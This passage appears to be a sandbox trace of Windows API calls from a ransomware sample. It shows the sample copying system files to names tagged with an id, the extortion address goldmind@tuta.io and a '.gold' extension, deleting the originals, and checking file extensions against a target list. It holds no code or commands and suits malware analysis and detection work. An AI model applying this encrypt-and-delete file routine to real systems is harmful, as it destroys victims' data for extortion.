Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0046.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.676] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.676] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0046.677] GetLastError () returned 0x0 [0046.677] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0046.683] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0046.687] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0046.687] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.687] SetEndOfFile (hFile=0x190) returned 1 [0046.688] CloseHandle (hObject=0x190) returned 1 [0046.688] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.688] SetEndOfFile (hFile=0x204) returned 1 [0046.689] CloseHandle (hObject=0x204) returned 1 [0046.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.689] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString=".doc") returned 4 [0046.690] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0046.690] lstrlenW (lpString=".docx") returned 5 [0046.690] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0046.690] lstrlenW (lpString=".pdf") returned 4 [0046.690] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString=".xls") returned 4 [0046.690] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString=".xlsx") returned 5 [0046.690] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0046.690] lstrlenW (lpString=".ppt") returned 4 [0046.690] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString=".zip") returned 4 [0046.690] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString=".rar") returned 4 [0046.690] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString=".bz2") returned 4 [0046.690] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0046.690] lstrlenW (lpString=".7z") returned 3 [0046.690] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString=".dbf") returned 4 [0046.690] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString=".1cd") returned 4 [0046.690] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString=".jpg") returned 4 [0046.690] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString=".doc") returned 4 [0046.690] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0046.690] lstrlenW (lpString=".docx") returned 5 [0046.690] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0046.690] lstrlenW (lpString=".pdf") returned 4 [0046.690] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString=".xls") returned 4 [0046.690] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString=".xlsx") returned 5 [0046.690] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0046.690] lstrlenW (lpString=".ppt") returned 4 [0046.690] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.690] lstrlenW (lpString=".zip") returned 4 [0046.690] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString=".rar") returned 4 [0046.690] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0046.690] lstrlenW (lpString=".bz2") returned 4 [0046.690] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0046.690] lstrlenW (lpString=".7z") returned 3 [0046.691] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.691] lstrlenW (lpString=".dbf") returned 4 [0046.691] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.691] lstrlenW (lpString=".1cd") returned 4 [0046.691] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0046.691] lstrlenW (lpString=".jpg") returned 4 [0046.691] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0046.691] lstrcmpiW (lpString1=".TTF", lpString2=".gold") returned 1 [0046.691] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0046.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.691] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=7656) returned 1 [0046.691] CloseHandle (hObject=0x204) returned 1 [0046.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0046.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.692] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.692] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0046.692] GetLastError () returned 0x0 [0046.692] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x1de8, lpOverlapped=0x0) returned 1 [0046.840] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0046.840] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0046.841] WriteFile (in: hFile=0x190, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.841] SetEndOfFile (hFile=0x190) returned 1 [0046.841] CloseHandle (hObject=0x190) returned 1 [0046.841] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.841] SetEndOfFile (hFile=0x204) returned 1 [0046.842] CloseHandle (hObject=0x204) returned 1 [0046.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.842] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0046.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.842] lstrlenW (lpString=".doc") returned 4 [0046.842] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0046.842] lstrlenW (lpString=".docx") returned 5 [0046.842] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0046.842] lstrlenW (lpString=".pdf") returned 4 [0046.842] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0046.842] lstrlenW (lpString=".xls") returned 4 [0046.842] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0046.842] lstrlenW (lpString=".xlsx") returned 5 [0046.842] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0046.842] lstrlenW (lpString=".ppt") returned 4 [0046.842] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0046.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.842] lstrlenW (lpString=".zip") returned 4 [0046.842] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0046.842] lstrlenW (lpString=".rar") returned 4 [0046.843] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString=".bz2") returned 4 [0046.843] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString=".7z") returned 3 [0046.843] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString=".dbf") returned 4 [0046.843] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString=".1cd") returned 4 [0046.843] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString=".jpg") returned 4 [0046.843] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString=".doc") returned 4 [0046.843] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString=".docx") returned 5 [0046.843] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0046.843] lstrlenW (lpString=".pdf") returned 4 [0046.843] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString=".xls") returned 4 [0046.843] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0046.843] lstrlenW (lpString=".xlsx") returned 5 [0046.843] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0046.843] lstrlenW (lpString=".ppt") returned 4 [0046.843] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString=".zip") returned 4 [0046.843] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0046.843] lstrlenW (lpString=".rar") returned 4 [0046.843] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString=".bz2") returned 4 [0046.843] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString=".7z") returned 3 [0046.843] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString=".dbf") returned 4 [0046.843] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString=".1cd") returned 4 [0046.843] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0046.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0046.843] lstrlenW (lpString=".jpg") returned 4 [0046.843] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0046.843] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0046.843] lstrlenW (lpString="offfiltx.dll") returned 12 [0046.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.870] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1486736) returned 1 [0046.870] CloseHandle (hObject=0x214) returned 1 [0046.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0046.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.870] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.870] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0046.871] GetLastError () returned 0x0 [0046.871] ReadFile (in: hFile=0x214, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xffff0, lpOverlapped=0x0) returned 1 [0046.895] WriteFile (in: hFile=0x18c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0046.909] ReadFile (in: hFile=0x214, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0046.922] WriteFile (in: hFile=0x18c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0046.931] ReadFile (in: hFile=0x214, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0046.931] WriteFile (in: hFile=0x18c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.931] SetEndOfFile (hFile=0x18c) returned 1 [0046.932] CloseHandle (hObject=0x18c) returned 1 [0046.932] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0046.932] SetEndOfFile (hFile=0x214) returned 1 [0046.935] CloseHandle (hObject=0x214) returned 1 [0046.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.935] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0046.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.935] lstrlenW (lpString=".doc") returned 4 [0046.935] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.935] lstrlenW (lpString=".docx") returned 5 [0046.935] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0046.935] lstrlenW (lpString=".pdf") returned 4 [0046.935] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.935] lstrlenW (lpString=".xls") returned 4 [0046.935] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.935] lstrlenW (lpString=".xlsx") returned 5 [0046.935] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0046.935] lstrlenW (lpString=".ppt") returned 4 [0046.935] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.935] lstrlenW (lpString=".zip") returned 4 [0046.935] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.935] lstrlenW (lpString=".rar") returned 4 [0046.935] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.935] lstrlenW (lpString=".bz2") returned 4 [0046.935] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.935] lstrlenW (lpString=".7z") returned 3 [0046.935] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString=".dbf") returned 4 [0046.936] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString=".1cd") returned 4 [0046.936] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString=".jpg") returned 4 [0046.936] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString=".doc") returned 4 [0046.936] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.936] lstrlenW (lpString=".docx") returned 5 [0046.936] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0046.936] lstrlenW (lpString=".pdf") returned 4 [0046.936] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.936] lstrlenW (lpString=".xls") returned 4 [0046.936] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.936] lstrlenW (lpString=".xlsx") returned 5 [0046.936] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0046.936] lstrlenW (lpString=".ppt") returned 4 [0046.936] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString=".zip") returned 4 [0046.936] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.936] lstrlenW (lpString=".rar") returned 4 [0046.936] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.936] lstrlenW (lpString=".bz2") returned 4 [0046.936] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.936] lstrlenW (lpString=".7z") returned 3 [0046.936] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString=".dbf") returned 4 [0046.936] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString=".1cd") returned 4 [0046.936] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0046.936] lstrlenW (lpString=".jpg") returned 4 [0046.936] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.936] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0046.937] lstrlenW (lpString="VISFILT.DLL") returned 11 [0046.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.940] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2124664) returned 1 [0046.940] CloseHandle (hObject=0x214) returned 1 [0046.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0046.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft 